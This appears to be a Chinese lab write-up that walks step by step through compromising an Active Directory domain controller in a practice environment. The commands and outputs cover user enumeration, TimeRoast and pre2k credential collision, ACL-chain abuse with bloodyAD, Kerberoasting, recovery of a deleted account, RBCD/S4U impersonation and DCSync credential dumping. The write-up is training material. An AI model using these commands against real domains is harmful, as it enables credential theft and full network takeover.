“摘下你黯淡的衰亡,换一束爆燃的火花”
靶机信息
靶机地址:https://bdziyi.com/ulab/lab.html?page=target-detail&id=152
靶机作者:Scarecrow


综合难度比较高的一台靶机,附首杀证明:

靶机涉及的知识点如下:
端口扫描, 服务发现, Kerberos 用户枚举, TimeRoast 攻击, Pre2k (Pre-Windows 2000) 计算机账户碰撞, LDAP 匿名绑定受限绕过, SMB/RPC 零信息枚举, RID 循环枚举 (RID Brute-forcing), 图论分析 (BloodHound), ACL 权限链利用, WriteSPN 权限利用, Kerberoasting 攻击, WriteOwner 权限利用, DACL 修改, GenericAll 权限利用, 账号激活与 UAC 标志位修改, AD 回收站对象恢复 (Object Restoration), 孤儿 SID 识别, 基于资源的约束性委派 (RBCD), S4U2Proxy 协议扩展, DCSync 攻击, Pass-the-Hash (PtH), Evil-WinRM 利用。
端口扫描
为了提高扫描效率,我们使用 RustScan 进行快速端口探测,并联动 Nmap 进行详细的服务版本检测(-sV)与默认脚本扫描(-sC)
❯ rustscan -u 5000 -a 192.168.111.10 – -sCV
Open 192.168.111.10:53
Open 192.168.111.10:88
Open 192.168.111.10:135
Open 192.168.111.10:139
Open 192.168.111.10:389
Open 192.168.111.10:445
Open 192.168.111.10:464
Open 192.168.111.10:593
Open 192.168.111.10:3268
Open 192.168.111.10:3269
Open 192.168.111.10:5985
Open 192.168.111.10:9389
Open 192.168.111.10:49666
Open 192.168.111.10:49668
Open 192.168.111.10:49669
Open 192.168.111.10:49671
Open 192.168.111.10:49670
Open 192.168.111.10:49682
Open 192.168.111.10:49698
扫描结果分析:
目标 IP 192.168.111.10 开放了大量端口,呈现典型的 Windows 域控制器(Domain Controller) 特征:
| 端口 | 服务 | 描述 |
| 53 | DNS | 域名解析服务,常用于域环境枚举 |
| 88 | Kerberos | Kerberos 认证协议,是 Kerberoasting 和 AS-REP Roasting 的核心 |
| 135/593 | RPC | 远程过程调用服务 |
| 139/445 | SMB | 用于文件共享、命名管道,常用于探测 Null Session 或执行 smbexec |
| 389/3268 | LDAP | 轻量级目录访问协议,用于查询域内对象信息 |
| 5985 | WinRM | Windows 远程管理端口,若获得凭据可尝试直接获取 Shell |
| 9389 | ADWS | Active Directory Web Services,通常用于 PowerShell 域管理 |
| 49666+ | Dynamic RPC | 动态高位端口,用于 RPC 服务的通信 |
匿名枚举



综合探测结果,目标服务器(Windows Server 2016,Build 14393)目前在安全加固方面封锁了“匿名信息搜集”的权限,但保留了“协议基础连接”。
- 禁用了 LDAP 匿名绑定 (Anonymous Bind)
- 表现: 当你使用
ldapsearch或nxc ldap时,服务器返回000004DC: LdapErr: DSID-0C090AE1。 - 影响: 你无法通过 389 端口直接拉取域内用户列表、计算机列表或详细的域架构信息。这是现代 Server 的默认高安全级别配置。
- 禁用了 SMB/RPC 匿名枚举权限
- 表现: 虽然
Null Auth显示为True(允许建立空会话),但执行--shares或lookupsids时均返回STATUS_ACCESS_DENIED。 - 影响:
- SAMR 接口受限: 无法通过 RID 循环(
--rid-brute)自动获取用户名。 - LSAD 接口受限: 除了基础的
lsaquery(获取 SID)外,拒绝了更深层的账户映射查询。 - 共享列表隐藏: 匿名用户无法看到
ADMIN$、C$等默认共享或自定义共享目录。
既然没办法匿名枚举,那就尝试使用 kerbrute 爆破用户名
❯ kerbrute userenum /usr/share/seclists/Usernames/xato-net-10-million-usernames-dup.txt -d sec.lab –dc 192.168.111.10

发现两个用户名:
augusta
solaris
timeroast+pre2k
随后尝试 timeroast,这个技术主要是针对计算机账户,可获取其 hash
具体原理可看我的这篇文章:https://xz.aliyun.com/news/91598
❯ nxc smb 192.168.111.10 -u ‘’ -p ‘’ -M timeroast


爆破出密码是 solaris,正好对上了我们之前爆破的用户名,而且由于是计算机账户,名字后需要带$
这里涉及到另一个知识点:pre2k
当一个计算机账户在 AD 中被“预创建”(即在机器实际加入域之前,由管理员在 ADUC 中手动创建)并勾选了 “允许 Windows 2000 之前的计算机使用此账户” 选项时,其默认密码就是其主机名小写形式(不带$)
什么是“预创建的计算机账户”?
在大型企业中,管理员有时会提前在域中创建计算机对象(Computer Object),但还没有真正的物理机器加域。
- 这些账户的默认密码通常是计算机名(去掉 $ 符号)的小写
- 例如:计算机名为
SOLARIS$,对应的预设密码就是solaris
针对 WORKSTATION_TRUST_ACCOUNT 类型的对象(即机器用户),系统默认禁用 NTLM 认证。若尝试使用 NTLM,通常会触发 STATUS_NOLOGON_WORKSTATION_TRUST_ACCOUNT 错误。

必须使用 -k 参数强制进行 Kerberos 认证

认证成功,获得了第一组凭据。
试试 nxc 的pre2k 模块
nxc ldap 192.168.111.10 -u ‘solaris$’ -p ‘solaris’ -k -M pre2k

pre2k 模块的工作流程
当你运行 -M pre2k 时,模块执行了以下逻辑:
- 查询:它在 LDAP 中搜索所有
userAccountControl属性包含WORKSTATION_TRUST_ACCOUNT但还没有被真正激活或修改过密码的计算机账户。 - 碰撞:它尝试用“计算机名(小写)”作为密码去进行 Kerberos 认证。
- 结果:输出显示
[+] sec.labsolaris$:solaris认证成功。这意味着你成功“劫持”了一个尚未被使用的计算机账号。
初始枚举
拿到初始权限后,就可以开展枚举了。
优先枚举密码策略,看看出题人让不让爆破
❯ nxc smb 192.168.111.10 -u ‘solaris$’ -p ‘solaris’ -k –pass-pol

账号尝试失败 5 次后就会锁定。一旦锁定,需要等待 30 分钟。显然不用考虑爆破了。
枚举域用户和组 我个人喜欢枚举 rid
❯ nxc smb 192.168.111.10 -u 'solaris$' -p 'solaris' -k --rid-brute
SMB 192.168.111.10 445 AD [*] Windows Server 2016 Standard 14393 x64 (name:AD) (domain:sec.lab) (signing:True) (SMBv1:True) (Null Auth:True)
SMB 192.168.111.10 445 AD [+] sec.lab\solaris$:solaris
SMB 192.168.111.10 445 AD 498: SEC\Enterprise Read-only Domain Controllers (SidTypeGroup)
SMB 192.168.111.10 445 AD 500: SEC\Administrator (SidTypeUser)
SMB 192.168.111.10 445 AD 501: SEC\Guest (SidTypeUser)
SMB 192.168.111.10 445 AD 502: SEC\krbtgt (SidTypeUser)
SMB 192.168.111.10 445 AD 503: SEC\DefaultAccount (SidTypeUser)
SMB 192.168.111.10 445 AD 512: SEC\Domain Admins (SidTypeGroup)
SMB 192.168.111.10 445 AD 513: SEC\Domain Users (SidTypeGroup)
SMB 192.168.111.10 445 AD 514: SEC\Domain Guests (SidTypeGroup)
SMB 192.168.111.10 445 AD 515: SEC\Domain Computers (SidTypeGroup)
SMB 192.168.111.10 445 AD 516: SEC\Domain Controllers (SidTypeGroup)
SMB 192.168.111.10 445 AD 517: SEC\Cert Publishers (SidTypeAlias)
SMB 192.168.111.10 445 AD 518: SEC\Schema Admins (SidTypeGroup)
SMB 192.168.111.10 445 AD 519: SEC\Enterprise Admins (SidTypeGroup)
SMB 192.168.111.10 445 AD 520: SEC\Group Policy Creator Owners (SidTypeGroup)
SMB 192.168.111.10 445 AD 521: SEC\Read-only Domain Controllers (SidTypeGroup)
SMB 192.168.111.10 445 AD 522: SEC\Cloneable Domain Controllers (SidTypeGroup)
SMB 192.168.111.10 445 AD 525: SEC\Protected Users (SidTypeGroup)
SMB 192.168.111.10 445 AD 526: SEC\Key Admins (SidTypeGroup)
SMB 192.168.111.10 445 AD 527: SEC\Enterprise Key Admins (SidTypeGroup)
SMB 192.168.111.10 445 AD 553: SEC\RAS and IAS Servers (SidTypeAlias)
SMB 192.168.111.10 445 AD 571: SEC\Allowed RODC Password Replication Group (SidTypeAlias)
SMB 192.168.111.10 445 AD 572: SEC\Denied RODC Password Replication Group (SidTypeAlias)
SMB 192.168.111.10 445 AD 1000: SEC\AD$ (SidTypeUser)
SMB 192.168.111.10 445 AD 1101: SEC\DnsAdmins (SidTypeAlias)
SMB 192.168.111.10 445 AD 1102: SEC\DnsUpdateProxy (SidTypeGroup)
SMB 192.168.111.10 445 AD 2101: SEC\Jinzhou (SidTypeGroup)
SMB 192.168.111.10 445 AD 2102: SEC\Black Shores (SidTypeGroup)
SMB 192.168.111.10 445 AD 2103: SEC\Rinascita (SidTypeGroup)
SMB 192.168.111.10 445 AD 2104: SEC\Lahayo (SidTypeGroup)
SMB 192.168.111.10 445 AD 2105: SEC\Rover (SidTypeUser)
SMB 192.168.111.10 445 AD 2106: SEC\Verina (SidTypeUser)
SMB 192.168.111.10 445 AD 2107: SEC\Calcharo (SidTypeUser)
SMB 192.168.111.10 445 AD 2108: SEC\Jinxi (SidTypeUser)
SMB 192.168.111.10 445 AD 2109: SEC\Yangyang (SidTypeUser)
SMB 192.168.111.10 445 AD 2110: SEC\TheShorekeeper (SidTypeUser)
SMB 192.168.111.10 445 AD 2111: SEC\Frollo (SidTypeUser)
SMB 192.168.111.10 445 AD 2112: SEC\Augusta (SidTypeUser)
SMB 192.168.111.10 445 AD 2113: SEC\Iuno (SidTypeUser)
SMB 192.168.111.10 445 AD 2114: SEC\Mornye (SidTypeUser)
SMB 192.168.111.10 445 AD 2116: SEC\SOLARIS$ (SidTypeUser)
结果分拣一下:
[+]Regular Users:
DefaultAccount
Rover
Verina
Calcharo
Jinxi
Yangyang
TheShorekeeper
Frollo
Augusta
Iuno
Mornye
[+]Computer Users:
AD$
SOLARIS$
[+]Groups:
Cloneable Domain Controllers
Protected Users
Key Admins
Enterprise Key Admins
Jinzhou
Black Shores
Rinascita
Lahayo
跑寻血猎犬😋,我习惯用老版本,也可以用 ce 新版本
❯ bloodhound-python -u ‘solaris$’ -p solaris -d sec.lab -ns 192.168.111.10 -dc AD.sec.lab -c All –zip

得到以下路径:

猎犬路径
1. 账户接管与状态激活
首先利用 bloodyAD 重置目标用户 rover 的密码
❯ bloodyAD -u ‘solaris$’ -p ‘solaris’ -k –host AD.sec.lab -d sec.lab set password ‘rover’ ‘Admin@123’

发现账号处于禁用状态:

启用账号相关命令如下:
# 移除禁用标志位
❯ bloodyAD -d sec.lab -u 'solaris$' -p 'solaris' -k --host AD.sec.lab remove uac rover -f ACCOUNTDISABLE
# 检查启用状态
❯ nxc ldap 192.168.111.10 -u 'solaris$' -p 'solaris' -k --active-users
❯ nxc ldap 192.168.111.10 -u ‘solaris$’ -p ‘solaris’ -k –active-users

❯ bloodyAD -d sec.lab -u ‘solaris$’ -p ‘solaris’ -k –host AD.sec.lab remove uac rover -f ACCOUNTDISABLE

❯ nxc ldap 192.168.111.10 -u ‘solaris$’ -p ‘solaris’ -k –active-users 再次查询 成功看到 rover

随后,将 rover 加入 JINZHOU 组以继承其权限
❯ bloodyAD –dc-ip 192.168.111.10 -d sec.lab -u rover -p Admin@123 -k –host AD.sec.lab add groupMember “JINZHOU” rover

2. 利用 WriteSPN 进行 Kerberoasting
继续分析猎犬路径


通过分析 ACL 发现,JINZHOU 组对 YANGYANG、JINXI、CALCHARO、VERINA 四名用户拥有 WriteSPN 权限。
利用逻辑: 对于原本没有 SPN 的用户,攻击者可以手动为其设置伪造的 SPN,随后请求 Kerberos 服务票据进行离线爆破。
❯ bloodyAD -d sec.lab -u rover -p 'Admin@123' --host 192.168.111.10 set object YANGYANG servicePrincipalName -v "HTTP/YANGYANG"
[+] YANGYANG's servicePrincipalName has been updated
❯ bloodyAD -d sec.lab -u rover -p 'Admin@123' --host 192.168.111.10 set object JINXI servicePrincipalName -v "HTTP/JINXI"
[+] JINXI's servicePrincipalName has been updated
❯ bloodyAD -d sec.lab -u rover -p 'Admin@123' --host 192.168.111.10 set object CALCHARO servicePrincipalName -v "HTTP/CALCHARO"
[+] CALCHARO's servicePrincipalName has been updated
❯ bloodyAD -d sec.lab -u rover -p 'Admin@123' --host 192.168.111.10 set object VERINA servicePrincipalName -v "HTTP/VERINA"
[+] VERINA's servicePrincipalName has been updated

使用 impacket-GetUserSPNs 请求票据并离线破解:
impacket-GetUserSPNs sec.lab/rover:Admin@123 -request -outputfile hashes.txt

❯ hashcat hashes.txt /usr/share/wordlists/rockyou.txt
成功通过 Kerberoasting 爆破出了两个账号的明文密码:
- Yangyang:
Hello - Jinxi:
Jinxin
3. ACL 链式提权
由于 Jinxi 对 BLACK SHORES 组有 AddMember 权限 ,将 rover 加入该组
❯ bloodyAD -d sec.lab -u jinxi -p ‘Jinxin’ –host 192.168.111.10 add groupMember “BLACK SHORES” rover

由于 BLACK SHORES 组拥有 WriteOwner 权限,组内成员 rover 可以更改 THESHOREKEEPER 用户的所有者(Owner)为自己,随后修改其 DACL 以获得完全控制权(GenericAll)并重置密码
❯ bloodyAD -d sec.lab -u rover -p ‘Admin@123’ –host 192.168.111.10 set owner THESHOREKEEPER rover

❯ bloodyAD -d sec.lab -u rover -p ‘Admin@123’ –host 192.168.111.10 add genericAll THESHOREKEEPER rover

❯ bloodyAD -d sec.lab -u rover -p ‘Admin@123’ –host 192.168.111.10 set password THESHOREKEEPER ‘Admin@123’

一旦你通过上一步控制了 THESHOREKEEPER,就可以利用他对 LAHAYO 组的 AddMember 权限完成最后的提权

错误码 data 533 表示 STATUS_ACCOUNT_RESTRICTION,说明 THESHOREKEEPER 账户也被禁用了。
用 rover 启用 THESHOREKEEPER 账户:
❯ bloodyAD -d sec.lab -u rover -p ‘Admin@123’ –host 192.168.111.10 remove uac THESHOREKEEPER -f ACCOUNTDISABLE

❯ bloodyAD -d sec.lab -u THESHOREKEEPER -p ‘Admin@123’ –host 192.168.111.10 add groupMember LAHAYO rover

至此 rover 就被加入了LAHAYO 组。
进一步可以看到

LAHAYO 组的成员 MORNYE 对 KEY ADMINS 组拥有 AddKeyCredentialLink 权限。这意味着你可以利用 Shadow Credentials 攻击,为该组内的一个成员添加公钥凭据,从而获取该成员的 TGT 票据。
但是我们没有直接的 ACL 获取 mornye 用户。
用户比较多,梳理一下:

SMB 共享枚举
❯ nxc smb 192.168.111.10 -u rover -p ‘Admin@123’ –shares

rover 对三个组的共享都有读写权限
登录 smb,深入枚举文件
❯ smbclient.py sec.lab/rover:‘Admin@123’@192.168.111.10
只发现Welcome 共享下有一个 Letter.txt
# use Welcome
# ls
drw-rw-rw- 0 Tue Jan 27 12:13:59 2026 .
drw-rw-rw- 0 Tue Jan 27 12:13:59 2026 ..
-rw-rw-rw- 31 Tue Jan 27 11:46:41 2026 Letter.txt
# cat Letter.txt
......Yangyang
Hello......
结果就是我们 Kerberoasting 早就跑出来的凭据,没啥用
恢复被删除的用户
猎犬查看前往域管的最短路径,会看到一个 SID 被标记为问号

该 SID S-1-5-21-2688985321-3766267280-2512124731-2115 被标记为问号,是因为 BloodHound 在数据库中找到了该 SID 的权限记录,但无法将其关联到任何具体的对象实例(Instance)。这通常是因为该对象已被删除(变为墓碑对象后消失)或属于采集器未触达的外部安全主体。
这种已删除的对象,也被称为孤儿 SID: 当对象被删除时,它会进入“墓碑(Tombstone)”状态,并最终被完全移除。即使对象被删除,如果其在安全描述符(如 AddAllowedToAct 权限)中的条目未被清理,就会留下一个无法解析回名称的原始 SID。因为“一个 SID 只能使用一次”且“即使安全主体被删除,它也永远不能再被用于识别另一个用户”,所以 BloodHound 只能识别出它是一个曾经存在的安全主体,但无法获取其目前的属性信息(如 sAMAccountName 或 displayName)。
使用 powerview 进行枚举和恢复
❯ powerview sec.lab/rover:Admin@123@192.168.111.10 –web
╭─LDAP─[AD.sec.lab]─[SEC\Rover]-[NS:192.168.111.10] [WEB:127.0.0.1:5000]
╰─ ❯ Get-DomainObject -Identity "S-1-5-21-2688985321-3766267280-2512124731-2115" -IncludeDeleted
objectClass : top
person
organizationalPerson
user
cn : Lynae
DEL:49f688f6-323e-4456-a30e-cd99418be690
distinguishedName : CN=Lynae\0ADEL:49f688f6-323e-4456-a30e-cd99418be690,CN=Deleted Objects,DC=sec,DC=lab
instanceType : 4
whenCreated : 27/01/2026 03:39:49 (3 months, 5 days ago)
whenChanged : 27/01/2026 06:32:54 (3 months, 5 days ago)
uSNCreated : 12918
isDeleted : True
uSNChanged : 12989
name : Lynae
DEL:49f688f6-323e-4456-a30e-cd99418be690
objectGUID : {49f688f6-323e-4456-a30e-cd99418be690}
userAccountControl : NORMAL_ACCOUNT
badPwdCount : 0
codePage : 0
countryCode : 0
badPasswordTime : 01/01/1601 00:00:00 (425 years, 4 months ago)
lastLogoff : 1601-01-01 00:00:00+00:00
lastLogon : 01/01/1601 00:00:00 (425 years, 4 months ago)
logonHours : ////////////////////////////
pwdLastSet : 27/01/2026 03:39:49 (3 months, 5 days ago)
primaryGroupID : 513
objectSid : S-1-5-21-2688985321-3766267280-2512124731-2115
accountExpires : 1601-01-01 00:00:00+00:00
logonCount : 0
sAMAccountName : Lynae
lastKnownParent : CN=Users,DC=sec,DC=lab
dSCorePropagationData : 01/27/2026 06:31:25 AM
01/27/2026 06:31:22 AM
01/01/1601 00:00:00 AM
msDS-LastKnownRDN : Lynae

该对象 isDeleted 属性为 True,且位于 CN=Deleted Objects 容器中。利用域环境开启了 AD 回收站 的特性,我们将其直接恢复:
╭─LDAP─[AD.sec.lab]─[SEC\Rover]-[NS:192.168.111.10] [WEB:127.0.0.1:5000]
╰─ ❯ Restore-DomainObject -Identity "S-1-5-21-2688985321-3766267280-2512124731-2115"

账户恢复后,再枚举一遍猎犬
此时剩下的路径也为我们展开了

由于当前用户 Rover 对 Lynae 拥有 GenericAll 权限,我们直接重置其密码:
╭─LDAP─[AD.sec.lab]─[SEC\Rover]-[NS:192.168.111.10] [WEB:127.0.0.1:5000]
╰─ ❯ Set-DomainUserPassword -Identity Lynae -AccountPassword 'NewPassword123!'

但在尝试使用新凭据通过 SMB 认证时,触发了 STATUS_PASSWORD_MUST_CHANGE 策略,需要再改一次密码

使用 nxc的 change-password 模块在认证过程中完成强制修改:
❯ nxc smb 192.168.111.10 -u lynae -p ‘NewPassword123!’ -M change-password -o ‘NEWPASS=Admin@123’

此时可以打 rbcd
RBCD 资源委派攻击
我之前常用 impacket,这次用 powerview 试试
# 创建受控机器账号
Add-DomainComputer -ComputerName 'voretx$' -ComputerPass 'pass123'
# 设置RBCD
Set-DomainRBCD -Identity "AD$" -DelegateFrom "voretx$"


查看属性,可以发现成功完成 RBCD 属性注入:
╭─LDAP─[AD.sec.lab]─[SEC\Lynae]-[NS:192.168.111.10]
╰─ ❯ Get-DomainRBCD -Identity "AD$"
SourceName : AD$
SourceType : 805306369
SourceSID : S-1-5-21-2688985321-3766267280-2512124731-1000
SourceAccountControl : 532480
SourceDistinguishedName : CN=AD,OU=Domain Controllers,DC=sec,DC=lab
ServicePrincipalName : ldap/AD.sec.lab/ForestDnsZones.sec.lab
ldap/AD.sec.lab/DomainDnsZones.sec.lab
Dfsr-12F9A27C-BF97-4787-9364-D31B6C55EB04/AD.sec.lab
DNS/AD.sec.lab
GC/AD.sec.lab/sec.lab
RestrictedKrbHost/AD.sec.lab
RestrictedKrbHost/AD
RPC/f2892d2c-a316-427b-bd10-2a02f7ac0170._msdcs.sec.lab
HOST/AD/SEC
HOST/AD.sec.lab/SEC
HOST/AD
HOST/AD.sec.lab
HOST/AD.sec.lab/sec.lab
E3514235-4B06-11D1-AB04-00C04FC2DCD2/f2892d2c-a316-427b-bd10-2a02f7ac0170/sec.lab
ldap/AD/SEC
ldap/f2892d2c-a316-427b-bd10-2a02f7ac0170._msdcs.sec.lab
ldap/AD.sec.lab/SEC
ldap/AD
ldap/AD.sec.lab
ldap/AD.sec.lab/sec.lab
DelegatedName : voretx$
DelegatedType : SAM_MACHINE_ACCOUNT
DelegatedSID : S-1-5-21-2688985321-3766267280-2512124731-4602
DelegatedAccountControl : WORKSTATION_TRUST_ACCOUNT
DelegatedDistinguishedName : CN=voretx,CN=Computers,DC=sec,DC=lab
随后通过 S4U (Service for User) 协议扩展请求模拟域管理员 Administrator 的服务票据(ST):

❯ export KRB5CCNAME=Administrator@cifs_AD.sec.lab@SEC.LAB.ccache
最后执行 DCSync 导出 Administrator 凭据
❯ impacket-secretsdump -k -no-pass -just-dc-user Administrator sec.lab/Administrator@AD.sec.lab

evil-winrm 成功登录后,进入 Administrator 的桌面目录,获取最终 Flag:

结束!
总结与复盘
渗透路径与难点
这台靶机的难点在于权限的碎块化。攻击者不能指望一蹴而就,必须通过不断的“信息枚举 -> 权限获取 -> 二次枚举 -> ACL 转换”循环,特别是对 AD 回收站恢复 的理解,是通关的关键。
渗透路径梳理:
初始突破:由于匿名枚举被封死,通过 Pre2k+Timeroast,获得计算机账号,撬开内网的大门。
ACL 链式提权:这靶机的 ACL 链极其恶心,一路上又是启用又是加组又是改密码的,但都比较常规。
回收站利用:识别 BloodHound 中的“孤儿 SID”,利用 AD 回收站特性恢复被删除的特权账号,打通断裂的攻击路径。
委派接管:利用 RBCD 和 S4U2Proxy 协议模拟域管,最终通过 DCSync 彻底接管域控。
🛠️ 核心工具栈
| 工具 | 用途 |
| RustScan / Nmap | 端口扫描与服务识别 |
| Kerbrute | Kerberos 预认证用户枚举 |
| NXC (NetExec) | 综合渗透框架(密码碰撞、RID 枚举、密码策略检查) |
| BloodyAD | 强大的高级 AD 权限操作工具 (ACL 修改、账号激活) |
| BloodHound | 域环境攻击路径可视化分析 |
| PowerView (Python 版) | AD 对象枚举与回收站操作 |
| Impacket | 协议利用(Secretsdump, GetUserSPNs, GetST 等) |
| Evil-WinRM | 最终交互式 Shell 获取 |